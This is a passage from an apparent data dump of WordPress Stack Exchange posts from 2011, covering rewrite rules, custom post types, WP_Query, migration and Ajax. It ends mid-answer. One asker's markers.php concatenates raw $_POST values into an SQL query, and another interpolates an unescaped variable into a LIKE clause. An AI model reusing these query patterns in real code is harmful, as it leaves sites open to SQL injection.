  <row Id="18693" PostTypeId="1" CreationDate="2011-05-30T07:43:57.107" Score="0" ViewCount="118" Body="&lt;p&gt;thank you for an amazing plugin! I´m having a problem that I hope you can help me with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´m using List Category Posts on a private user-page with tabbed content. As I would like users to stay on their own page I was wondering if you could tell me how to remove the link from the posts title?&lt;/p&gt;&#xA;" OwnerUserId="5802" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-30T12:49:18.030" LastActivityDate="2011-08-29T05:36:20.230" Title="How do I remove link in posts titles" Tags="&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="18694" PostTypeId="1" CreationDate="2011-05-30T09:07:09.483" Score="3" ViewCount="159" Body="&lt;p&gt;I've a working version of wordpress in localhost and i tried to move them to the remote server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As i've another wordpress installed in the same server and tried to rename the current tables to the prefix wp1_&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported my local data to a sql file. After that i searched and renamed every table name with wp_ and changed them into wp1_ and imported to my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that i tried to login in admin panel , it throws the following error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot; You do not have sufficient permissions to access this page. &quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I searched some forums and tried to change the values of meta key in the wp1_options and wp1_usermeta which was started with wp_&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still after this , i couldn't login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note: I've changed the wp-config and related details and the front end is working fine.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="4452" LastEditorUserId="4452" LastEditorDisplayName="" LastEditDate="2011-05-30T09:51:36.950" LastActivityDate="2011-06-10T06:59:03.323" Title="Moving wordpress from localhost to server throws admin panel access error?" Tags="&lt;wp-admin&gt;&lt;user-access&gt;" AnswerCount="5" FavoriteCount="1" />
  <row Id="18695" PostTypeId="1" CreationDate="2011-05-30T09:10:55.480" Score="4" ViewCount="179" Body="&lt;p&gt;Can files such as PDFs be uploaded to custom URLs? I would like to upload a PDF to &lt;code&gt;www.example.com/whitepapers/pdf.pdf&lt;/code&gt; instead of &lt;code&gt;www.example.com/wp-uploads/...&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a plugin called &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-easy-uploader/&quot; rel=&quot;nofollow&quot;&gt;WP Easy Uploader&lt;/a&gt; which seems OK, but I wanted to check if there are any other solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One solution I was contemplating is to have the PDF treated as a page so I can assign a parent page to the PDF. This will handle any redirects in case the URL of the parent page is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt; - Not Considering WP Easy Uploader any more since I don't want to have any FTP access from within a Wordpress installation for security reasons.&lt;/p&gt;&#xA;" OwnerUserId="5804" LastEditorUserId="5804" LastEditorDisplayName="" LastEditDate="2011-06-03T06:08:52.390" LastActivityDate="2011-07-03T08:20:47.457" Title="Pretty URLs for File Uploads?" Tags="&lt;plugin-recommendation&gt;&lt;url-rewriting&gt;&lt;uploads&gt;" AnswerCount="3" FavoriteCount="3" />
  <row Id="18696" PostTypeId="1" AcceptedAnswerId="18697" CreationDate="2011-05-30T09:28:06.667" Score="1" ViewCount="105" Body="&lt;p&gt;I've got an issue, writing a correct rewrite rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, here are the examples of the url I want :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/myPage/mySuPage&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the same with pagination&lt;br&gt;&#xA;&lt;code&gt;/myPage/mySuPage/page/3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the basic page, with 2 params, no pagination&lt;br&gt;&#xA;&lt;code&gt;/myPage/mySuPage/param1/param2&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the one with 2 parameters and the pagination&lt;br&gt;&#xA;&lt;code&gt;/myPage/mySuPage/param1/param2/page/3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More or less, i have it working with differents rules for each case, but if I put them in a row, nothing works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the rules I wrote : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    'myPage/mySuPage/([^/]*)/([^/]*)/?',&#xA;    'index.php?pagename=myPage/mySuPage&amp;amp;param1=$matches[1]&amp;amp;param2=$matches[2]',&#xA;    'top' );&#xA;&#xA;add_rewrite_rule(&#xA;    'myPage/mySuPage/([^/]*)/([^/]*)/page/([0-9]{1,})?',&#xA;    'index.php?pagename=myPage/mySuPage&amp;amp;param1=$matches[1]&amp;amp;param2=$matches[2]&amp;amp;pageds=$matches[3]',&#xA;    'top' );&#xA;&#xA;&#xA;add_rewrite_rule(&#xA;    'myPage/mySuPage/(.+?)(/page/([0-9]+))?/?$',&#xA;    'index.php?pagename=myPage/mySuPage&amp;amp;param1=$matches[1]&amp;amp;param2=$matches[2]',&#xA;    'top' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5711" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T09:34:03.520" LastActivityDate="2011-05-30T09:46:00.390" Title="add_rewrite_rule and pagination issue" Tags="&lt;url-rewriting&gt;&lt;pagination&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18697" PostTypeId="2" ParentId="18696" CreationDate="2011-05-30T09:46:00.390" Score="1" ViewCount="" Body="&lt;p&gt;Your first two rewrite rules do not end with &lt;code&gt;$&lt;/code&gt;, which indicates that the URL should stop there. So &lt;code&gt;myPage/mySuPage/param1/param2/page/3&lt;/code&gt; would still be matched by the first pattern, because it can just ignored the &lt;code&gt;/page/3&lt;/code&gt; part at the end. The next rewrite rules will then never be used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt; I was able to simplify your rewrite rules to these two: one without params and just optional paging, and one with params and optional paging. Combining these two into one did not work because the optional params woud &quot;eat&quot; the paging part.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_rewrite_rule(&#xA;    'myPage/mySuPage(/page/([0-9]+)?)?/?$',&#xA;    'index.php?pagename=myPage/mySuPage&amp;amp;pageds=$matches[2]',&#xA;    'top'&#xA;);&#xA;&#xA;add_rewrite_rule(&#xA;    'myPage/mySuPage/([^/]*)/([^/]*)(/page/([0-9]+)?)?/?$',&#xA;    'index.php?pagename=myPage/mySuPage&amp;amp;param1=$matches[1]&amp;amp;param2=$matches[2]&amp;amp;pageds=$matches[4]',&#xA;    'top'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T09:46:00.390" CommentCount="2" />
  <row Id="18698" PostTypeId="2" ParentId="18694" CreationDate="2011-05-30T09:58:02.087" Score="0" ViewCount="" Body="&lt;p&gt;Instead of renaming the tables, just create a new database and change your wp-config.php. It's a much easier solution, as long as you can create more databases.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-30T09:58:02.087" CommentCount="1" />
  <row Id="18699" PostTypeId="1" AcceptedAnswerId="18700" CreationDate="2011-05-30T10:04:43.920" Score="1" ViewCount="165" Body="&lt;p&gt;I have a custom post type set up like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_action('init', 'portfolio_register');&#xA;&#xA;function portfolio_register() {&#xA; $labels = array(&#xA;    'name' =&amp;gt; _x('Photos', 'post type general name'),&#xA;    'singular_name' =&amp;gt; _x('Portfolio Item', 'post type singular name'),&#xA;    'add_new' =&amp;gt; _x('Add New', 'portfolio item'),&#xA;    'add_new_item' =&amp;gt; __('Add New Portfolio Item'),&#xA;    'edit_item' =&amp;gt; __('Edit Portfolio Item'),&#xA;    'new_item' =&amp;gt; __('New Portfolio Item'),&#xA;    'view_item' =&amp;gt; __('View Portfolio Item'),&#xA;    'search_items' =&amp;gt; __('Search Portfolio'),&#xA;    'not_found' =&amp;gt;  __('Nothing found'),&#xA;    'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;    'parent_item_colon' =&amp;gt; ''&#xA;&#xA;    );&#xA;&#xA;$args = array(&#xA;            'labels' =&amp;gt; $labels,&#xA;            'public' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            //'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/article16.png',&#xA;            'rewrite' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 4,&#xA;            'taxonomies' =&amp;gt; array('post_tag','category'),&#xA;            'supports' =&amp;gt; array('title','editor','comments','trackbacks','revisions','custom-fields','page-attributes','thumbnail', 'excerpt', 'tags')&#xA;          ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It pulls all of the meta boxes in and everything fine for the single page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the home page I query from the Featured category like so :&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Edit based on suggestion from spartacus&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $args = array('category_name' =&amp;gt; 'featured',&#xA;    'post_type' =&amp;gt; array ('post','Photos'),&#xA;    'posts_per_page' =&amp;gt; 20);&#xA;&#xA;    $the_query = new WP_Query($args);&#xA;    while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;&#xA;        &amp;lt;?php //getImage(1); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;featuredSlide&quot;&amp;gt;&#xA;            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/scripts/timthumb.php?src=&amp;lt;?php echo get_first_attachment() ?&amp;gt;&amp;amp;w=500&amp;amp;h=500&amp;amp;a=b&amp;amp;zc=1&amp;amp;q=80&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        &amp;lt;?php the_title(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine with normal posts I make but none of the posts in the custom post type category will be pulled into this featured category query.  Can anyone see what is going wrong or have suggestions of what I should look for ?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastEditorUserId="2661" LastEditorDisplayName="" LastEditDate="2011-05-31T11:32:09.277" LastActivityDate="2011-05-31T11:32:09.277" Title="Categories not working as expected with custom post type" Tags="&lt;custom-post-types&gt;&lt;categories&gt;" AnswerCount="1" />
  <row Id="18700" PostTypeId="2" ParentId="18699" CreationDate="2011-05-30T10:18:00.393" Score="3" ViewCount="" Body="&lt;p&gt;You need to add your custom post type to your WP_Query call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('category_name' =&amp;gt; 'featured',&#xA;              'post_type' =&amp;gt; array ('post','Photos'),&#xA;               posts_per_page' =&amp;gt; 20);&#xA;$the_query = new WP_Query($args);&#xA;//continue with your loop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-30T10:18:00.393" CommentCount="3" />
  <row Id="18701" PostTypeId="2" ParentId="12201" CreationDate="2011-05-30T10:23:09.937" Score="0" ViewCount="" Body="&lt;p&gt;This is pretty much a dupe, but anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got a couple of good answers when I asked this question previously&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12201/wordpress-multisite-global-categories&quot;&gt;WordPress Multisite - global categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-30T10:23:09.937" />
  <row Id="18702" PostTypeId="1" CreationDate="2011-05-30T11:19:56.963" Score="1" ViewCount="79" Body="&lt;p&gt;I have a business site hosted on wordpress. Now, we are planning to have a store locator page. We are looking to build something similar to Apple &lt;a href=&quot;http://www.apple.com/retail/crossgates/map/&quot; rel=&quot;nofollow&quot;&gt;store locator&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how do we go about creating this? Should I build a plugin or is it possible to embed a php application and have the same &quot;look &amp;amp; feel&quot; as the site? Or can I make use of custom post types? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that, the address info, working hours and images will be stored on the DB.Ideas and suggests are welcome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5805" LastActivityDate="2011-05-30T12:13:34.237" Title="Building a store locator with google maps" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18703" PostTypeId="1" AcceptedAnswerId="18715" CreationDate="2011-05-30T12:11:57.843" Score="3" ViewCount="433" Body="&lt;p&gt;I need to do a &lt;code&gt;WP_Query&lt;/code&gt; with a &lt;code&gt;LIKE&lt;/code&gt; on the &lt;code&gt;post_title&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started with this regular &lt;code&gt;WP_Query&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$wp_query = new WP_Query( &#xA;    array (&#xA;        'post_type'        =&amp;gt; 'wp_exposants',&#xA;        'posts_per_page'   =&amp;gt; '1',&#xA;        'post_status'      =&amp;gt; 'publish',&#xA;        'orderby'          =&amp;gt; 'title', &#xA;        'order'            =&amp;gt; 'ASC',&#xA;        'paged'            =&amp;gt; $paged&#xA;    )&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what I actually want to do looks like this in SQL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = &quot;&#xA;        SELECT      *&#xA;        FROM        $wpdb-&amp;gt;posts&#xA;        WHERE       $wpdb-&amp;gt;posts.post_title LIKE '$param2%'&#xA;        AND         $wpdb-&amp;gt;posts.post_type = 'wp_exposants'&#xA;        ORDER BY    $wpdb-&amp;gt;posts.post_title&#xA;&quot;;&#xA;$wpdb-&amp;gt;get_results($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output prints the results i'm excpecting, but I use the regular &lt;code&gt;&amp;lt;?php while ( $wp_query-&amp;gt;have_posts() ) : $wp_query-&amp;gt;the_post(); ?&amp;gt;&lt;/code&gt; to display the results.&lt;br&gt;&#xA;And that is not working with &lt;code&gt;$wpdb-&amp;gt;get_results()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve what I described here?&lt;/p&gt;&#xA;" OwnerUserId="5711" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T15:37:51.407" LastActivityDate="2011-05-30T15:37:51.407" Title="WP_Query with &quot;post_title LIKE 'something%'&quot;?" Tags="&lt;wp-query&gt;&lt;sql&gt;" AnswerCount="2" />
  <row Id="18704" PostTypeId="2" ParentId="18702" CreationDate="2011-05-30T12:13:34.237" Score="1" ViewCount="" Body="&lt;p&gt;You should be able to do this completely with custom post types. Most of the structured info can go in custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the geographical info you can read &quot;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/468/optimizing-a-proximity-based-store-location-search-on-a-shared-web-host&quot;&gt;Optimizing a Proximity-based Store Location Search on a Shared Web Host?&lt;/a&gt;&quot;, where I explained how to store the coordinates of the stores not only in the &lt;code&gt;postmeta&lt;/code&gt; table but also in a separate indexed table to allow quick lookups. Another user of this site packaged this functionality in his &lt;a href=&quot;http://wordpress.org/extend/plugins/geo-data-store/&quot; rel=&quot;nofollow&quot;&gt;Geo Data Store plugin&lt;/a&gt;, you can also take a look at that.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T12:13:34.237" />
  <row Id="18705" PostTypeId="2" ParentId="18703" CreationDate="2011-05-30T12:39:07.830" Score="0" ViewCount="" Body="&lt;p&gt;In theory you won't need the sql Query. You can also use &quot;&lt;code&gt;name&lt;/code&gt;&quot; (for post slugs) or &quot;&lt;code&gt;pagename&lt;/code&gt;&quot; (for page slugs). One of them should work (in theory) for custom post types too. Just be aware of the difference between titles and slug (title in lower case with &quot;-&quot; instead of space and else). So care about preparing your input values with &lt;code&gt;strtolower&lt;/code&gt; and &lt;code&gt;str_replace( &quot; &quot;, &quot;-&quot;, $input );&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-05-30T12:39:07.830" CommentCount="2" />
  <row Id="18707" PostTypeId="1" AcceptedAnswerId="18716" CreationDate="2011-05-30T13:25:30.637" Score="1" ViewCount="85" Body="&lt;p&gt;I need to move a Wordpress site hosted on Dreamhost to the my companies servers. To do so I used the built in import and export feature that comes with Wordpress (using a wordpress export file), however, it did not copy over images from the site, and it didn't preserve the featured images as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using import/export, is it possible to copy over the images and featured images as well? If not, is there another method I could use?&lt;/p&gt;&#xA;" OwnerUserId="4990" LastActivityDate="2011-05-30T14:53:01.153" Title="How to migrat a Wordpress installtion from one site to another, including images and featured images?" Tags="&lt;import&gt;&lt;migration&gt;&lt;export&gt;" AnswerCount="3" />
  <row Id="18708" PostTypeId="2" ParentId="4213" CreationDate="2011-05-30T13:27:15.470" Score="0" ViewCount="" Body="&lt;p&gt;This cide detects whether a title has been set, and if not, it changes the &lt;code&gt;before_widget&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'widget_display_callback', 'wpse4213_widget_display_callback', 10, 3 );&#xA;function wpse4213_widget_display_callback( $instance, $widget, $args )&#xA;{&#xA;    if ( empty( $instance['title'] ) ) {&#xA;        $args['before_widget'] = '&amp;lt;div class=&quot;container&quot;&amp;gt;&amp;lt;div class=&quot;content&quot;&amp;gt;';&#xA;        $widget-&amp;gt;widget( $args, $instance );&#xA;        return false;&#xA;    }&#xA;    return $instance;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code works because the &lt;code&gt;widget_display_callback&lt;/code&gt; allows you to return &lt;code&gt;false&lt;/code&gt; if you don't want to display the widget. In this case we display the widget ourselves, so we don't want WordPress to do it again. A hack, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This function will fail if the widget supplies a default title (like most widgets bundled in the core distribution do). To detect this, I also created a function that first tries to render the widget in an output buffer. If we detect a title element in this output buffer the widget did have a default title - so we ignore the buffer and display it like a regular widget. But this can also break when the widget uses overactive caching, so we must try to flush that too. Did I mention this is a hack?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'widget_display_callback', 'wpse4213_widget_display_callback', 10, 3 );&#xA;function wpse4213_widget_display_callback( $instance, $widget, $args )&#xA;{&#xA;    if ( empty( $instance['title'] ) ) {&#xA;        $args['before_widget'] = '&amp;lt;div class=&quot;container&quot;&amp;gt;&amp;lt;div class=&quot;content&quot;&amp;gt;';&#xA;        ob_start();&#xA;        $widget-&amp;gt;widget( $args, $instance );&#xA;        $widget_content = ob_get_contents();&#xA;        ob_end_clean();&#xA;        if ( false !== strpos( $widget_content, 'widget-title' ) ) {&#xA;            // It did return a title!&#xA;            if ( method_exists( $widget, 'flush_widget_cache' ) ) {&#xA;                $widget-&amp;gt;flush_widget_cache();&#xA;            }&#xA;            return $instance;&#xA;        }&#xA;        echo $widget_content;&#xA;        return false;&#xA;    }&#xA;    return $instance;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T13:27:15.470" />
  <row Id="18709" PostTypeId="1" AcceptedAnswerId="18841" CreationDate="2011-05-30T13:27:20.133" Score="0" ViewCount="179" Body="&lt;p&gt;I want to get a groups of data from postmeta table.&#xA;The postmeta table have 4 colums, meta_id, post_id, meta_key,meta_value.&#xA;Each post_id has a list of meta_keys.&#xA;I want to run a query and get a result of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arry(number of results)(&#xA;                      [0]=&amp;gt;object(stdClass)#1(&#xA;                                             [post_id] =&amp;gt; 123,&#xA;                                             [key1]    =&amp;gt; x,&#xA;                                             [key2]    =&amp;gt; y,&#xA;                                             [key3]    =&amp;gt; z&#xA;                                             )&#xA;                      [1]=&amp;gt;=&amp;gt;object(stdClass)#2(&#xA;                                             [post_id] =&amp;gt; 456,&#xA;                                             [key1]    =&amp;gt; x,&#xA;                                             [key2]    =&amp;gt; y,&#xA;                                             [key3]    =&amp;gt; z&#xA;                                             )&#xA;                      )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to do it?&lt;/p&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-05-31T19:59:36.187" Title="Query and get meta as object(stdClass) on wp postmeta table?" Tags="&lt;wpdb&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18710" PostTypeId="1" AcceptedAnswerId="18713" CreationDate="2011-05-30T13:32:00.690" Score="1" ViewCount="30" Body="&lt;p&gt;Every time someone edits our blog the content is displaying all wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks perfect in the wysiwyg editor but when you publish the page the content is completely wrong (pictures displayed next to each other etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dierenasieltienen.com/nieuw/?page_id=32&quot; rel=&quot;nofollow&quot;&gt;example link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5807" LastActivityDate="2011-05-30T13:46:09.753" Title="content gets scrambled" Tags="&lt;content&gt;&lt;wysiwyg&gt;&lt;text&gt;" AnswerCount="1" />
  <row Id="18711" PostTypeId="1" AcceptedAnswerId="18712" CreationDate="2011-05-30T13:36:05.853" Score="0" ViewCount="123" Body="&lt;p&gt;I'm using a jquery ajax call to get certain data from wpdb and I'm getting the following message:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;b&amp;gt;Fatal error&amp;lt;/b&amp;gt;:  Call to a member function get_results() on a non-object in &amp;lt;b&amp;gt;C:\wamp\www\maps_en2\markers.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;15&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajax({&#xA;    type: &quot;POST&quot;,&#xA;    url: &quot;markers.php&quot;,&#xA;    data: ({'southWestLat' : southWestLat , 'southWestLng' : southWestLng , 'northEastLat' : northEastLat , 'northEastLng' : northEastLng}),&#xA;    success: function(msg){&#xA;    alert( msg );&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the called code - markers.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    global $wpdb;&#xA;    $sql = &quot;SELECT user_id, lat, lng FROM coordinates WHERE lat&amp;gt;&quot;.$_POST[&quot;southWestLat&quot;].&quot; and lat&amp;lt;&quot;.$_POST[&quot;northEastLat&quot;].&quot; and lng&amp;gt;&quot;.$_POST[&quot;southWestLng&quot;].&quot; and lng&amp;lt;&quot;.$_POST[&quot;northEastLng&quot;];&#xA;    $rows = $wpdb-&amp;gt;get_results($sql, OBJECT_K);&#xA;    ...&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's strange is that when the php code was on the same file as the javascript (and instead of the parameters 'southWestLat' etc, I used numbers, then it worked.&lt;br&gt;&#xA;I should state that the jquery is in a php file under twentyten theme folder but markers.php is under the root directory (couldn't use it when it was in the theme for some reason).  &lt;/p&gt;&#xA;" OwnerUserId="5171" LastEditorUserId="5171" LastEditorDisplayName="" LastEditDate="2011-05-30T14:25:37.430" LastActivityDate="2011-05-30T14:25:37.430" Title="Can't use get_results() in ajax query" Tags="&lt;php&gt;&lt;jquery&gt;&lt;ajax&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="18712" PostTypeId="2" ParentId="18711" CreationDate="2011-05-30T13:42:36.200" Score="2" ViewCount="" Body="&lt;p&gt;This will not work because you call &lt;code&gt;example.com/markers.php&lt;/code&gt; directly, and that file does not load anything from WordPress, like the &lt;code&gt;$wpdb&lt;/code&gt; object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can include &lt;code&gt;wp-load.php&lt;/code&gt;, but this might break if you move the WordPress installation to somewhere else. To be more in line with how Ajax calls in WordPress should be made, you should write it as a hook for &lt;code&gt;wp_ajax_[action]&lt;/code&gt;. See &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3610/how-to-manage-ajax-calls-and-json-in-wordpress/3612#3612&quot;&gt;my introduction to Ajax in WordPress&lt;/a&gt; for more details.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T13:42:36.200" CommentCount="3" />
  <row Id="18713" PostTypeId="2" ParentId="18710" CreationDate="2011-05-30T13:46:09.753" Score="2" ViewCount="" Body="&lt;p&gt;This is because the images are defined as floating to the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, you can add a &lt;code&gt;clear: both&lt;/code&gt; to the &lt;code&gt;&amp;lt;h4&amp;gt;&lt;/code&gt; elements (it probably won't hurt to do this in the stylesheet - will there be a situation where you need a title that exists next to a float?).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T13:46:09.753" CommentCount="2" />
  <row Id="18714" PostTypeId="2" ParentId="18707" CreationDate="2011-05-30T13:51:38.233" Score="1" ViewCount="" Body="&lt;p&gt;I'm using &lt;a href=&quot;http://pluginbuddy.com/purchase/backupbuddy/&quot; rel=&quot;nofollow&quot;&gt;BackupBuddy plugin&lt;/a&gt; and it does the migration job very well. This is a commercial plugin. If you prefer free way to migrate WP, &lt;a href=&quot;http://codex.wordpress.org/Moving_WordPress&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is a great guide (you might want to read further resources at the end of the page, that may help).&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-05-30T13:51:38.233" />
  <row Id="18715" PostTypeId="2" ParentId="18703" CreationDate="2011-05-30T14:06:03.817" Score="2" ViewCount="" Body="&lt;p&gt;I would solve this with a filter on &lt;code&gt;WP_Query&lt;/code&gt;. One that detects an extra query variable and uses that as the prefix of the title.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where', 'wpse18703_posts_where', 10, 2 );&#xA;function wpse18703_posts_where( $where, &amp;amp;$wp_query )&#xA;{&#xA;    global $wpdb;&#xA;    if ( $wpse18703_title = $wp_query-&amp;gt;get( 'wpse18703_title' ) ) {&#xA;        $where .= ' AND ' . $wpdb-&amp;gt;posts . '.post_title LIKE \'' . esc_sql( like_escape( $wpse18703_title ) ) . '%\'';&#xA;    }&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you can still call &lt;code&gt;WP_Query&lt;/code&gt;, you just pass the title as the &lt;code&gt;wpse18703_title&lt;/code&gt; argument (or change the name to something shorter).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-30T14:06:03.817" CommentCount="1" />
  <row Id="18716" PostTypeId="2" ParentId="18707" CreationDate="2011-05-30T14:07:58.223" Score="1" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;Ensure that the NEW site is already running the same Theme, and all appropriate Plugins.&lt;/li&gt;&#xA;&lt;li&gt;Generate your export file from your OLD site, ensuring that you export &quot;all content&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Import the file into the NEW site, ensuring that you enable/check the option to download/import all attachments. (It is on the same import step during which you assign Post authors.)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If your NEW site isn't running a Theme that has Post Thumbnail support enabled, you might not get your &quot;featured image&quot; post meta exactly as expected. &lt;/li&gt;&#xA;&lt;li&gt;(Likewise, if your OLD site has Custom Post Types, Custom Taxonomies, or Post Format support enabled, you will need to ensure that these features are enabled on the NEW site, in order to ensure a proper import of these data.)&lt;/li&gt;&#xA;&lt;li&gt;If you don't enable the option (disabled by default) to download/import attachments, then attachments will be instead linked to the OLD 